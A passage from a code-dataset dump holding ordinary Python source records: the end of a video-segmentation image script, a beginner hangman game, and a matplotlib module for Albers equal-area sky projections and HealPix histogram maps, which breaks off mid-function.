chosenids = [0, 10]\n bgr = run_deepmatch(os.path.join(d, files[chosenids[0]]),\n os.path.join(d, files[chosenids[1]]))\n copyfile(os.path.join(d, files[chosenids[0]]),\n os.path.join(outdir, '{:d}_src.JPEG'.format(i)))\n copyfile(os.path.join(d, files[chosenids[1]]),\n os.path.join(outdir, '{:d}_dst.JPEG'.format(i)))\n cv2.imwrite(os.path.join(outdir, '{:d}_flow.jpg'.format(i)), bgr)\n","repo_name":"pathak22/videoseg","sub_path":"src/deepmatch.py","file_name":"deepmatch.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":178,"dataset":"github-code","pt":"21"} +{"seq_id":"31075676637","text":"import random\nwords = [\"hello\", \"apple\", \"banana\", \"cat\", \"dog\", \"eagle\", \"fish\"]\n\nword = random.choice(words)\nprint(f\"The choosen word is {word}\")\n\ndisplay = []\nlife = 3\nend_of_game = False\nfor _ in word:\n display += \"_\"\n\nprint(display)\n\nwhile not end_of_game:\n user_input = input(\"\\nGuess a letter\\n\")\n for position in range(len(word)):\n if user_input == word[position]:\n display[position] = word[position]\n print(display)\n\n if \"_\" not in display:\n end_of_game = True\n print(\"You Won!\")\n","repo_name":"uditgupt/learnPython","sub_path":"Day 7/hangman_3_ver_2.py","file_name":"hangman_3_ver_2.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20414894510","text":"\"\"\" \n Native matplotlib support of frequently used 2d projections,\n for looking up to the sky.\n\n This file is initially developed as part of skymapper by Peter Melchior\n based on the example in matplotlib.\n\n It is later adopted by me (Yu Feng), and I will maintain a copy in\n imaginglss for easier access, also because I do plan to clean up\n the function signatures and variable naming (breaking compatibility with\n old skymapper code).\n\n The current version adds the ability to generate equal area histograms\n on HealPix pixels.\n\n It does not depend on healpy, there is a minimal python implementation of \n healpix at the end of the file; imported in the javascript/lua style.\n \n The intention is one day we will submit a PR of this to matplotlib.\n\n What does not work:\n \n 1. Panning.\n 2. Color bar is sometimes in the wrong place\n 3. Label locations are poorly calculated.\n\n What does work:\n Evertying else.\n\n Author: Yu Feng \n Peter Melchior\n\n\"\"\"\nfrom __future__ import unicode_literals\n\nimport matplotlib\nfrom matplotlib.axes import Axes\nfrom matplotlib.patches import Rectangle, Polygon\nfrom matplotlib.path import Path\nfrom matplotlib.collections import PolyCollection, TriMesh\nfrom matplotlib.tri.triangulation import Triangulation\n\nfrom matplotlib.ticker import NullLocator, Formatter, FixedLocator, MaxNLocator\nfrom matplotlib.transforms import Affine2D, BboxTransformTo, Transform, blended_transform_factory, Bbox\nfrom matplotlib.projections import register_projection\nimport matplotlib.spines as mspines\nimport matplotlib.axis as maxis\n\nimport numpy as np\n\n__author__ = \"Yu Feng\"\n__email__ = \"rainwoodman@gmail.com\"\n\nclass SkymapperAxes(Axes):\n \"\"\"\n A base class for a Skymapper axes that takes in ra0, dec0, dec1, dec2.\n\n The base class takes care of clipping and interpolating with matplotlib.\n\n Subclass and override class method get_projection_class.\n\n \"\"\"\n # The subclass projection must specify a name. This will be used be the\n # user to select the projection.\n\n name = None\n\n @classmethod\n def get_projection_class(kls):\n raise NotImplementedError('Must implement this in subclass')\n\n def __init__(self, *args, **kwargs):\n self.ra0 = None\n self.dec0 = None\n self.dec1 = None\n self.dec2 = None\n\n Axes.__init__(self, *args, **kwargs)\n\n self.cla()\n\n def _init_axis(self):\n # Axes._init_axis() -- until HammerAxes.xaxis.cla() works.\n self.xaxis = maxis.XAxis(self)\n self.spines['bottom'].register_axis(self.xaxis)\n self.spines['top'].register_axis(self.xaxis)\n self.yaxis = maxis.YAxis(self)\n self.spines['left'].register_axis(self.yaxis)\n self.spines['right'].register_axis(self.yaxis)\n self._update_transScale()\n\n def cla(self):\n \"\"\"\n Override to set up some reasonable defaults.\n \"\"\"\n # Don't forget to call the base class\n Axes.cla(self)\n\n # Turn off minor ticking altogether\n self.xaxis.set_minor_locator(NullLocator())\n self.yaxis.set_minor_locator(NullLocator())\n\n self.xaxis.set_major_locator(MaxNLocator(5, prune='both'))\n self.yaxis.set_major_locator(MaxNLocator(5, prune='both'))\n\n # Do not display ticks -- we only want gridlines and text\n self.xaxis.set_ticks_position('none')\n self.yaxis.set_ticks_position('none')\n\n self.set_center(None, None)\n\n # FIXME: probabaly want to override autoscale_view\n # to properly handle wrapping introduced by margin\n # and properlty wrap data. \n # It doesn't make sense to have xwidth > 360. \n self._tight = True\n\n def _set_lim_and_transforms(self):\n \"\"\"\n This is called once when the plot is created to set up all the\n transforms for the data, text and grids.\n \"\"\"\n # There are three important coordinate spaces going on here:\n #\n # 1. Data space: The space of the data itself\n #\n # 2. Axes space: The unit rectangle (0, 0) to (1, 1)\n # covering the entire plot area.\n #\n # 3. Display space: The coordinates of the resulting image,\n # often in pixels or dpi/inch.\n\n # This function makes heavy use of the Transform classes in\n # ``lib/matplotlib/transforms.py.`` For more information, see\n # the inline documentation there.\n\n # The goal of the first two transformations is to get from the\n # data space (in this case meridian and parallel) to axes\n # space. It is separated into a non-affine and affine part so\n # that the non-affine part does not have to be recomputed when\n # a simple affine change to the figure has been made (such as\n # resizing the window or changing the dpi).\n\n # 1) The core transformation from data space into\n # rectilinear space defined in the HammerTransform class.\n self.transProjection = self.get_projection_class()()\n self.transProjection.set_center((180, 0))\n self.transProjection.set_dec1(-65)\n self.transProjection.set_dec2(80)\n\n # 2) The above has an output range that is not in the unit\n # rectangle, so scale and translate it so it fits correctly\n # within the axes. The peculiar calculations of xscale and\n # yscale are specific to a Aitoff-Hammer projection, so don't\n # worry about them too much.\n\n # This will be updated after the xy limits are set.\n self.transAffine = Affine2D()\n\n # 3) This is the transformation from axes space to display\n # space.\n self.transAxes = BboxTransformTo(self.bbox)\n\n # Now put these 3 transforms together -- from data all the way\n # to display coordinates. Using the '+' operator, these\n # transforms will be applied \"in order\". The transforms are\n # automatically simplified, if possible, by the underlying\n # transformation framework.\n self.transData = \\\n self.transProjection + \\\n self.transAffine + \\\n self.transAxes\n\n self.transClip = \\\n self.transProjection + \\\n self.transAffine\n\n # The main data transformation is set up. Now deal with\n # gridlines and tick labels.\n\n # Longitude gridlines and ticklabels. The input to these\n # transforms are in display space in x and axes space in y.\n # Therefore, the input values will be in range (-xmin, 0),\n # (xmax, 1). The goal of these transforms is to go from that\n # space to display space. The tick labels will be offset 4\n # pixels from the equator.\n self._xaxis_pretransform = \\\n Affine2D() \\\n .scale(1.0, 180) \\\n .translate(0.0, -90)\n\n self._xaxis_transform = \\\n self._xaxis_pretransform + \\\n self.transData\n\n self._xaxis_text1_transform = \\\n self._xaxis_pretransform + \\\n self.transData + \\\n Affine2D().translate(0.0, -8.0)\n self._xaxis_text2_transform = \\\n self._xaxis_pretransform+ \\\n self.transData + \\\n Affine2D().translate(0.0, -8.0)\n\n # Now set up the transforms for the parallel ticks. The input to\n # these transforms are in axes space in x and display space in\n # y. Therefore, the input values will be in range (0, -ymin),\n # (1, ymax). The goal of these transforms is to go from that\n # space to display space. The tick labels will be offset 4\n # pixels from the edge of the axes ellipse.\n self._yaxis_stretch = Affine2D().scale(360, 1.0).translate(0.0, 0.0)\n self._yaxis_stretch1 = Affine2D().scale(360, 1.0).translate(0.0, 0.0)\n self._yaxis_stretch2 = Affine2D().scale(360, 1.0).translate(0.0, 0.0)\n\n self._yaxis_transform = \\\n self._yaxis_stretch + \\\n self.transData\n\n self._yaxis_text1_transform = \\\n self._yaxis_stretch1 + \\\n self.transData\n# Affine2D().translate(-8.0, 0.0)\n\n self._yaxis_text2_transform = \\\n self._yaxis_stretch2 + \\\n self.transData\n# Affine2D().translate(8.0, 0.0)\n\n def _update_affine(self):\n # update the transformations and clip paths\n # after new lims are set.\n if self.ra0 is None:\n x0, x1 = self.viewLim.intervalx\n ra0 = 0.5 * (x0 + x1)\n else:\n ra0 = self.ra0\n if self.dec0 is None:\n y0, y1 = self.viewLim.intervaly\n dec0 = 0.5 * (y0 + y1)\n else:\n dec0 = self.dec0\n if self.dec1 is None:\n y0, y1 = self.viewLim.intervaly\n dec1 = y0 + (y1 - y0) / 12.\n else:\n dec1 = self.dec1\n if self.dec2 is None:\n y0, y1 = self.viewLim.intervaly\n dec2 = y1 - (y1 - y0) / 12.\n else:\n dec2 = self.dec2\n\n self.transProjection.set_center((ra0, dec0))\n self.transProjection.set_dec1(dec1)\n self.transProjection.set_dec2(dec2)\n\n self._yaxis_stretch\\\n .clear() \\\n .scale(self.viewLim.width, 1.0) \\\n .translate(self.viewLim.x0, 0)\n\n self._yaxis_stretch1\\\n .clear() \\\n .scale(self.viewLim.width, 1.0) \\\n .translate(self.viewLim.x0 - 0.00 * self.viewLim.width, 0)\n\n self._yaxis_stretch2\\\n .clear() \\\n .scale(self.viewLim.width, 1.0) \\\n .translate(self.viewLim.x0 + 0.00 * self.viewLim.width, 0)\n\n self._xaxis_pretransform \\\n .clear() \\\n .scale(1.0, self.viewLim.height) \\\n .translate(0.0, self.viewLim.y0)\n\n corners_data = np.array([[self.viewLim.x0, self.viewLim.y0],\n [ra0, self.viewLim.y0],\n [self.viewLim.x1, self.viewLim.y0],\n [self.viewLim.x1, self.viewLim.y1],\n [self.viewLim.x0, self.viewLim.y1],])\n\n corners = self.transProjection.transform_non_affine(corners_data)\n\n x0 = corners[0][0]\n x1 = corners[2][0]\n\n # special case when x1 is wrapped back to x0\n # FIXME: I don't think we need it anymore.\n if x0 == x1: x1 = - x0\n\n y0 = corners[1][1]\n y1 = max([corners[3][1], corners[4][1]])\n\n xscale = x1 - x0\n yscale = y1 - y0\n\n self.transAffine.clear() \\\n .translate( - (x0 + x1) * 0.5, - (y0 + y1) * 0.5) \\\n .scale(0.95 / xscale, 0.95 / yscale) \\\n .translate(0.5, 0.5)\n\n # now update the clipping path\n path = Path(corners_data)\n path0 = self.transProjection.transform_path(path)\n path = self.transClip.transform_path(path)\n self.patch.set_xy(path.vertices)\n\n def get_xaxis_transform(self, which='grid'):\n \"\"\"\n Override this method to provide a transformation for the\n x-axis grid and ticks.\n \"\"\"\n assert which in ['tick1', 'tick2', 'grid']\n return self._xaxis_transform\n\n def get_xaxis_text1_transform(self, pixelPad):\n \"\"\"\n Override this method to provide a transformation for the\n x-axis tick labels.\n\n Returns a tuple of the form (transform, valign, halign)\n \"\"\"\n return self._xaxis_text1_transform, 'center', 'center'\n\n def get_xaxis_text2_transform(self, pixelPad):\n \"\"\"\n Override this method to provide a transformation for the\n secondary x-axis tick labels.\n\n Returns a tuple of the form (transform, valign, halign)\n \"\"\"\n return self._xaxis_text2_transform, 'center', 'center'\n\n def get_yaxis_transform(self, which='grid'):\n \"\"\"\n Override this method to provide a transformation for the\n y-axis grid and ticks.\n \"\"\"\n assert which in ['tick1', 'tick2', 'grid']\n return self._yaxis_transform\n\n def get_yaxis_text1_transform(self, pixelPad):\n \"\"\"\n Override this method to provide a transformation for the\n y-axis tick labels.\n\n Returns a tuple of the form (transform, valign, halign)\n \"\"\"\n return self._yaxis_text1_transform, 'center', 'center'\n\n def get_yaxis_text2_transform(self, pixelPad):\n \"\"\"\n Override this method to provide a transformation for the\n secondary y-axis tick labels.\n\n Returns a tuple of the form (transform, valign, halign)\n \"\"\"\n return self._yaxis_text2_transform, 'center', 'center'\n\n def _gen_axes_patch(self):\n \"\"\"\n ClipPath.\n\n Initially set to a size of 2 box in transAxes.\n\n After xlim and ylim are set, this will be changed to the actual\n region in transData.\n\n For unclear reason the very initial clip path is always applied\n to the grid. Therefore we set size to 2.0 to avoid bad clipping.\n \"\"\"\n return Polygon([(0, 0), (2, 0), (2, 2), (0, 2)], fill=False)\n\n def _gen_axes_spines(self):\n d = {\n 'left': mspines.Spine.linear_spine(self, spine_type='left'),\n 'right': mspines.Spine.linear_spine(self, spine_type='right'),\n 'top': mspines.Spine.linear_spine(self, spine_type='top'),\n 'bottom': mspines.Spine.linear_spine(self, spine_type='bottom'),\n }\n d['left'].set_position(('axes', 0))\n d['right'].set_position(('axes', 1))\n d['top'].set_position(('axes', 0))\n d['bottom'].set_position(('axes', 1))\n #FIXME: these spines can be moved wit set_position(('axes', ?)) but\n # 'data' fails. Because the transformation is non-separatable,\n # and because spines / data makes that assumption, we probably\n # do not have a easy way to support moving spines via native matplotlib\n # api on data axis.\n\n # also the labels currently do not follow the spines. Likely because\n # they are not registered?\n\n return d\n\n # Prevent the user from applying scales to one or both of the\n # axes. In this particular case, scaling the axes wouldn't make\n # sense, so we don't allow it.\n def set_xscale(self, *args, **kwargs):\n if args[0] != 'linear':\n raise NotImplementedError\n Axes.set_xscale(self, *args, **kwargs)\n\n def set_yscale(self, *args, **kwargs):\n if args[0] != 'linear':\n raise NotImplementedError\n Axes.set_yscale(self, *args, **kwargs)\n\n def set_center(self, ra0, dec0):\n \"\"\" Set the center of ra \"\"\"\n self.ra0 = ra0\n self.dec0 = dec0\n self._update_affine()\n\n def set_parallels(self, dec1, dec2):\n \"\"\" Set the parallels \"\"\"\n self.dec1 = dec1\n self.dec2 = dec2\n self._update_affine()\n\n # when xlim and ylim are updated, the transformation\n # needs to be updated too.\n def set_xlim(self, *args, **kwargs):\n Axes.set_xlim(self, *args, **kwargs)\n\n # FIXME: wrap x0 x1 to ensure they enclose ra0.\n x0, x1 = self.viewLim.intervalx\n if self.ra0 is not None:\n if not x0 <= self.transProjection.ra0 or \\\n not x1 > self.transProjection.ra0:\n raise ValueError(\"The given limit in RA does not enclose ra0\")\n\n self._update_affine()\n\n def set_ylim(self, *args, **kwargs):\n Axes.set_ylim(self, *args, **kwargs)\n self._update_affine()\n\n def _histmap(self, show, ra, dec, weights=None, nside=32, perarea=False, mean=False, range=None, **kwargs):\n r = histogrammap(ra, dec, weights, nside, perarea=perarea, range=range)\n\n if weights is not None:\n w, N = r\n else:\n w = r\n if mean:\n mask = N != 0\n w[mask] /= N[mask]\n else:\n mask = w > 0\n return w, mask, show(w, mask, nest=False, **kwargs)\n\n def histmap(self, ra, dec, weights=None, nside=32, perarea=False, mean=False, range=None, **kwargs):\n return self._histmap(self.mapshow, ra, dec, weights, nside, perarea, mean, range, **kwargs)\n\n def histcontour(self, ra, dec, weights=None, nside=32, perarea=False, mean=False, range=None, **kwargs):\n return self._histmap(self.mapcontour, ra, dec, weights, nside, perarea, mean, range, **kwargs)\n\n def mapshow(self, map, mask=None, nest=False, shading='flat', **kwargs):\n \"\"\" Display a healpix map \"\"\"\n vmin = kwargs.pop('vmin', None)\n vmax = kwargs.pop('vmax', None)\n defaults = dict(rasterized=True,\n alpha=1.0,\n linewidth=0)\n defaults.update(kwargs)\n if mask is None:\n mask = map == map\n\n if shading == 'flat':\n coll = HealpixCollection(map, mask, \n transform=self.transData, **defaults)\n else:\n coll = HealpixTriCollection(map, mask, transform=self.transData, **defaults)\n \n coll.set_clim(vmin=vmin, vmax=vmax)\n self.add_collection(coll)\n self._sci(coll)\n self.autoscale_view(tight=True)\n\n return coll\n\n def mapcontour(self, map, mask=None, nest=False, **kwargs):\n \"\"\" Display a healpix map as coutours. This is approximate. \"\"\"\n if mask is None:\n mask = map == map\n\n ra, dec = pix2radec(healpix.npix2nside(len(map)), mask.nonzero()[0])\n im = self.tricontour(ra, dec, map[mask], **kwargs)\n self._sci(im)\n self.autoscale_view(tight=True)\n return im\n\n def format_coord(self, lon, lat):\n \"\"\"\n Override this method to change how the values are displayed in\n the status bar.\n\n In this case, we want them to be displayed in degrees N/S/E/W.\n \"\"\"\n lon = lon\n lat = lat\n if lat >= 0.0:\n ns = 'N'\n else:\n ns = 'S'\n if lon >= 0.0:\n ew = 'E'\n else:\n ew = 'W'\n # \\u00b0 : degree symbol\n return '%f\\u00b0%s, %f\\u00b0%s' % (abs(lat), ns, abs(lon), ew)\n\n class DegreeFormatter(Formatter):\n \"\"\"\n This is a custom formatter that converts the native unit of\n radians into (truncated) degrees and adds a degree symbol.\n \"\"\"\n\n def __init__(self, round_to=1.0):\n self._round_to = round_to\n\n def __call__(self, x, pos=None):\n degrees = round(x / self._round_to) * self._round_to\n # \\u00b0 : degree symbol\n return \"%d\\u00b0\" % degrees\n\n def set_meridian_grid(self, degrees):\n \"\"\"\n Set the number of degrees between each meridian grid.\n\n It provides a more convenient interface to set the ticking than set_xticks would.\n \"\"\"\n # Set up a FixedLocator at each of the points, evenly spaced\n # by degrees.\n x0, x1 = self.get_xlim()\n number = abs((x1 - x0) / degrees) + 1\n self.xaxis.set_major_locator(\n FixedLocator(\n np.linspace(x0, x1, number, True)[1:-1]))\n # Set the formatter to display the tick labels in degrees,\n # rather than radians.\n self.xaxis.set_major_formatter(self.DegreeFormatter(degrees))\n\n def set_parallel_grid(self, degrees):\n \"\"\"\n Set the number of degrees between each meridian grid.\n\n It provides a more convenient interface than set_yticks would.\n \"\"\"\n # Set up a FixedLocator at each of the points, evenly spaced\n # by degrees.\n y0, y1 = self.get_ylim()\n number = ((y1 - y0) / degrees) + 1\n self.yaxis.set_major_locator(\n FixedLocator(\n np.linspace(y0, y1, number, True)[1:-1]))\n # Set the formatter to display the tick labels in degrees,\n # rather than radians.\n self.yaxis.set_major_formatter(self.DegreeFormatter(degrees))\n\n # Interactive panning and zooming is not supported with this projection,\n # so we override all of the following methods to disable it.\n def _in_axes(self, mouseevent):\n if hasattr(self._pan_trans):\n return True\n else:\n return Axes._in_axes(self, mouseevent)\n\n def can_zoom(self):\n \"\"\"\n Return True if this axes support the zoom box\n \"\"\"\n return True\n\n def start_pan(self, x, y, button):\n self._pan_trans = self.transAxes.inverted() + \\\n blended_transform_factory(\n self._yaxis_stretch,\n self._xaxis_pretransform,)\n\n def end_pan(self):\n delattr(self, '_pan_trans')\n\n def drag_pan(self, button, key, x, y):\n pan1 = self._pan_trans.transform([(x, y)])[0]\n self.set_ra0(360 - pan1[0])\n self.set_dec0(pan1[1])\n self._update_affine()\n\n# now define the Albers equal area axes\n\nclass AlbersEqualAreaAxes(SkymapperAxes):\n \"\"\"\n A custom class for the Albers Equal Area projection.\n\n https://en.wikipedia.org/wiki/Albers_projection\n \"\"\"\n\n name = 'aea'\n\n @classmethod\n def get_projection_class(kls):\n return kls.AlbersEqualAreaTransform\n\n # Now, the transforms themselves.\n class AlbersEqualAreaTransform(Transform):\n \"\"\"\n The base Hammer transform.\n \"\"\"\n input_dims = 2\n output_dims = 2\n is_separable = False\n\n def __init__(self, **kwargs):\n Transform.__init__(self, **kwargs)\n self.dec0 = 0\n self.ra0 = 180\n self.dec1 = -60\n self.dec2 = 30\n self._update()\n\n def set_center(self, center):\n ra0, dec0 = center\n self.ra0 = ra0\n self.dec0 = dec0\n self._update()\n\n def set_dec1(self, dec1):\n self.dec1 = dec1\n self._update()\n\n def set_dec2(self, dec2):\n self.dec2 = dec2\n self._update()\n\n def _update(self):\n self.n = 0.5 * (np.sin(np.radians(self.dec1)) \n + np.sin(np.radians(self.dec2)))\n\n self.C = np.cos(np.radians(self.dec1))**2 + 2 * self.n * np.sin(np.radians(self.dec1))\n self.rho0 = self.__rho__(self.dec0)\n\n def __rho__(self, dec):\n if self.n == 0:\n return np.sqrt(self.C - 2 * self.n * np.sin(np.radians(dec)))\n else:\n return np.sqrt(self.C - 2 * self.n * np.sin(np.radians(dec))) / self.n\n\n def transform_non_affine(self, ll):\n \"\"\"\n Override the transform_non_affine method to implement the custom\n transform.\n\n The input and output are Nx2 numpy arrays.\n \"\"\"\n ra = ll[:,0]\n dec = ll[:,1]\n ra0 = self.ra0\n ra_ = np.radians(ra - ra0) # Do not inverse for RA\n\n # FIXME: problem with the slices sphere: outer parallel needs to be dubplicated at the expense of the central one\n if self.n == 0:\n rt = np.array([\n self.rho0 * (ra_),\n - self.rho0 * (np.sin(np.radians(self.dec0) - np.sin(np.radians(dec)))),\n ]).T\n else:\n theta = self.n * ra_\n rho = self.__rho__(dec)\n rt = np.array([\n rho*np.sin(theta),\n self.rho0 - rho*np.cos(theta)]).T\n #if np.isnan(rt).any(): \n # raise ValueError('nan occured : ll =%s' % (str(ll)))\n return rt\n\n # This is where things get interesting. With this projection,\n # straight lines in data space become curves in display space.\n # This is done by interpolating new values between the input\n # values of the data. Since ``transform`` must not return a\n # differently-sized array, any transform that requires\n # changing the length of the data array must happen within\n # ``transform_path``.\n def transform_path_non_affine(self, path):\n # Adaptive interpolation:\n # we keep adding control points, till all control points\n # have an error of less than 0.01 (about 1%)\n # or if the number of control points is > 80.\n ra0 = self.ra0\n path = path.cleaned(curves=False)\n v = path.vertices\n diff = v[:, 0] - v[0, 0]\n v00 = v[0][0] - ra0\n while v00 > 180: v00 -= 360\n while v00 < -180: v00 += 360\n v00 += ra0\n v[:, 0] = v00 + diff\n nonstop = path.codes > 0\n path = Path(v[nonstop], path.codes[nonstop])\n isteps = int(path._interpolation_steps * 1.5)\n if isteps < 10: isteps = 10\n while True:\n ipath = path.interpolated(isteps)\n tiv = self.transform(ipath.vertices)\n itv = Path(self.transform(path.vertices)).interpolated(isteps).vertices\n if np.mean(np.abs(tiv - itv)) < 0.01:\n break\n if isteps > 20:\n break\n isteps = int(isteps * 1.5)\n return Path(tiv, ipath.codes)\n\n transform_path_non_affine.__doc__ = \\\n Transform.transform_path_non_affine.__doc__\n\n if matplotlib.__version__ < '1.2':\n transform = transform_non_affine\n transform_path = transform_path_non_affine\n transform_path.__doc__ = Transform.transform_path.__doc__\n\n def inverted(self):\n return AlbersEqualAreaAxes.InvertedAlbersEqualAreaTransform(self)\n inverted.__doc__ = Transform.inverted.__doc__\n\n class InvertedAlbersEqualAreaTransform(Transform):\n \"\"\" Inverted transform.\n\n This will always only give values in the prime ra0-180 ~ ra0+180 range, I believe.\n So it is inherently broken. I wonder when matplotlib actually calls this function,\n given that interactive is disabled.\n \"\"\"\n input_dims = 2\n output_dims = 2\n is_separable = False\n\n def __init__(self, inverted, **kwargs):\n Transform.__init__(self, **kwargs)\n self.inverted = inverted\n\n def transform_non_affine(self, xy):\n x = xy[:,0]\n y = xy[:,1]\n inverted = self.inverted\n\n rho = np.sqrt(x**2 + (inverted.rho0 - y)**2)\n\n # make sure that the signs are correct\n if inverted.n == 0:\n rt = np.degrees(\n [\n np.radians(inverted.ra0) + x / inverted.rho0,\n np.arcsin(y / inverted.rho0 + np.sin(np.radians(inverted.dec0)))\n ]).T\n return rt\n elif inverted.n > 0:\n theta = np.degrees(np.arctan2(x, inverted.rho0 - y))\n else:\n theta = np.degrees(np.arctan2(-x, -(inverted.rho0 - y)))\n return np.degrees([np.radians(inverted.ra0) + theta/inverted.n,\n np.arcsin((inverted.C - (rho * inverted.n)**2)/(2*inverted.n))]).T\n\n transform_non_affine.__doc__ = Transform.transform_non_affine.__doc__\n\n if matplotlib.__version__ < '1.2':\n transform = transform_non_affine\n\n def inverted(self):\n # The inverse of the inverse is the original transform... ;)\n return self.inverted\n\n inverted.__doc__ = Transform.inverted.__doc__\n\nclass HealpixCollection(PolyCollection):\n def __init__(self, map, mask, nest=False, **kwargs):\n nside = healpix.npix2nside(len(mask))\n self.v = pix2quad(nside, mask.nonzero()[0], nest)\n PolyCollection.__init__(self, self.v, array=map[mask], **kwargs)\n\n def get_datalim(self, transData):\n \"\"\" The data lim of a healpix collection.\n \"\"\" \n # FIXME: it is currently set to the full sky.\n # This could have been trimmed down. \n # We want to set xlim smartly such that the largest\n # empty region is chopped off. I think it is possible, by\n # doing a histogram in ra, for example. \n vmin = (0, -90)\n vmax = (360, 90)\n return Bbox((vmin, vmax))\n\nimport matplotlib.transforms as mtransforms\nimport warnings\nimport numpy as np\nimport numpy.ma as ma\nimport matplotlib as mpl\nimport matplotlib.cbook as cbook\nimport matplotlib.colors as mcolors\nimport matplotlib.cm as cm\nfrom matplotlib import docstring\nimport matplotlib.transforms as transforms\nimport matplotlib.artist as artist\nfrom matplotlib.artist import allow_rasterization\nimport matplotlib.backend_bases as backend_bases\nimport matplotlib.path as mpath\nfrom matplotlib import _path\nimport matplotlib.mlab as mlab\nimport matplotlib.lines as mlines\nfrom matplotlib.collections import Collection\n\nclass HealpixTriCollection(Collection):\n \"\"\"\n Class for the efficient drawing of a triangular mesh using\n Gouraud shading.\n\n A triangular mesh is a :class:`~matplotlib.tri.Triangulation`\n object.\n \"\"\"\n def __init__(self, map, mask, nest=False, **kwargs):\n Collection.__init__(self, **kwargs)\n nside = healpix.npix2nside(len(map))\n # remove the first axes\n verts = pix2tri(nside, mask.nonzero()[0]).reshape(-1, 3, 2)\n c = np.ones((verts.shape[0], verts.shape[1])) * np.repeat(map[mask][:, None], 2, axis=0)\n\n self._verts = verts\n self._shading = 'gouraud'\n self._is_filled = True\n self.set_array(c.reshape(-1))\n \n def get_paths(self):\n if self._paths is None:\n self.set_paths()\n return self._paths\n\n def set_paths(self):\n self._paths = self.convert_mesh_to_paths(self._verts)\n\n @staticmethod\n def convert_mesh_to_paths(verts):\n \"\"\"\n Converts a given mesh into a sequence of\n :class:`matplotlib.path.Path` objects for easier rendering by\n backends that do not directly support meshes.\n\n This function is primarily of use to backend implementers.\n \"\"\"\n Path = mpath.Path\n return [Path(x) for x in verts]\n\n @allow_rasterization\n def draw(self, renderer):\n if not self.get_visible():\n return\n renderer.open_group(self.__class__.__name__)\n transform = self.get_transform()\n\n # Get a list of triangles and the color at each vertex.\n \n verts = self._verts\n \n self.update_scalarmappable()\n colors = self._facecolors.reshape(-1, 3, 4)\n \n oldshape = list(verts.shape)\n \n verts = transform.transform(verts.reshape(-1, 2)).reshape(oldshape)\n\n gc = renderer.new_gc()\n self._set_gc_clip(gc)\n gc.set_linewidth(self.get_linewidth()[0])\n renderer.draw_gouraud_triangles(gc, verts, colors, mtransforms.IdentityTransform())\n gc.restore()\n renderer.close_group(self.__class__.__name__)\n\n def get_datalim(self, transData):\n \"\"\" The data lim of a healpix collection.\n \"\"\" \n # FIXME: it is currently set to the full sky.\n # This could have been trimmed down. \n # We want to set xlim smartly such that the largest\n # empty region is chopped off. I think it is possible, by\n # doing a histogram in ra, for example. \n vmin = (0, -90)\n vmax = (360, 90)\n return Bbox((vmin, vmax))\n\n\ndef _wrap360(phi, dir='left'):\n phi[np.abs(phi) < 1e-9] = 0\n if dir == 'left':\n ref = phi.min(axis=-1)\n else:\n ref = phi.max(axis=-1)\n# print('ref', ref, phi, ref % 360 - ref)\n diff = (ref % 360) - ref \n phi = phi + diff[:, None]\n \n #diff = phi - ref[:, None] \n #print('great', (diff > 180).sum())\n #diff[diff > 180] -= 360 \n #print('less', (diff < -180).sum())\n #diff[diff < -180] += 360\n #phi = ref[:, None] + diff\n return phi \n\n# a few helper functions talking to healpy/healpix.\ndef pix2quad(nside, pix, nest=False):\n \"\"\"Generate healpix quad vertices for pixels where mask is True\n\n Args:\n pix: list of pixel numbers\n nest: nested or not\n nside: HealPix nside\n\n Returns:\n vertices\n vertices: (N,4,2), RA/Dec coordinates of 4 boundary points of cell\n \"\"\"\n\n pix = np.asarray(pix)\n vertices = np.zeros((pix.size, 4, 2))\n\n theta, phi = healpix.vertices(nside, pix)\n theta = np.degrees(theta)\n phi = np.degrees(phi)\n\n vertices[:, :, 0] = phi\n vertices[:, :, 1] = 90.0 - theta\n\n # ensure objects are in the same image plane.\n vertices[:, :, 0] = _wrap360(phi, 'right')\n\n return vertices\n\ndef pix2tri(nside, pix, nest=False):\n \"\"\"Generate healpix quad vertices for pixels where mask is True\n\n Args:\n pix: list of pixel numbers\n nest: nested or not\n nside: HealPix nside\n\n Returns:\n vertices\n vertices: (N,3,2,2), RA/Dec coordinates of 3 boundary points of 2 triangles\n \"\"\"\n\n # each pixel contains 2 triangles.\n pix = np.asarray(pix)\n vertices = np.zeros((pix.size, 2, 3, 2))\n\n theta, phi = healpix.vertices(nside, pix)\n theta = np.degrees(theta)\n phi = np.degrees(phi)\n\n vertices[:, 0, :, 0] = _wrap360(phi[:, [0, 1, 3]], 'left')\n vertices[:, 0, :, 1] = 90.0 - theta[:, [0, 1, 3]]\n vertices[:, 1, :, 0] = _wrap360(phi[:, [1, 2, 3]], 'right')\n vertices[:, 1, :, 1] = 90.0 - theta[:, [1, 2, 3]]\n\n return vertices\n\ndef pix2radec(nside, pix):\n theta, phi = healpix.pix2ang(nside, pix)\n return np.degrees(phi), 90 - np.degrees(theta)\n\ndef radec2pix(nside, ra, dec):\n phi = np.radians(ra)\n theta = np.radians(90 - dec)\n return healpix.ang2pix(nside, theta, phi)\n \ndef histogrammap(ra, dec, weights=None, nside=32, perarea=False, range=None):\n if range is not None:\n (ra1, ra2), (dec1, dec2) = range\n m = (ra >= ra1)& (ra <= ra2)\n m &= (dec >= dec1)& (dec <= dec2)\n ra = ra[m]\n dec = dec[m]\n if weights is not None:\n weights = weights[m]\n\n ipix = healpix.ang2pix(nside, np.radians(90-dec), np.radians(ra))\n npix = healpix.nside2npix(nside)\n if perarea:\n npix = healpix.nside2npix(nside)\n sky = 360. ** 2 / np.pi\n area = 1. * (sky / npix)\n else:\n area = 1\n\n if weights is not None:\n w = np.bincount(ipix, weights=weights, minlength=npix)\n N = np.bincount(ipix, minlength=npix)\n w = w / area\n N = N / area\n return w, N\n else:\n w = 1.0 * np.bincount(ipix, minlength=npix)\n return w / area\n\n# Now register the projection with matplotlib so the user can select\n# it.\nregister_projection(AlbersEqualAreaAxes)\n\ndef create_healpix():\n \"\"\" A pure python (numpy-based) version of key healpix functions.\n\n The ring scheme is implemented. \n\n Depencency: numpy.\n\n It shall probably be self-hosted as an individual python package.\n\n Author: Yu Feng \n \"\"\"\n\n import numpy\n\n def npix2nside(npix):\n # FIXME: this could be buggy for large npix\n nside2 = npix // 12\n nside = numpy.array(nside2 ** 0.5).astype('i8')\n return nside\n\n def nside2npix(nside):\n return nside * nside * 12\n\n def ang2pix(nside, theta, phi):\n 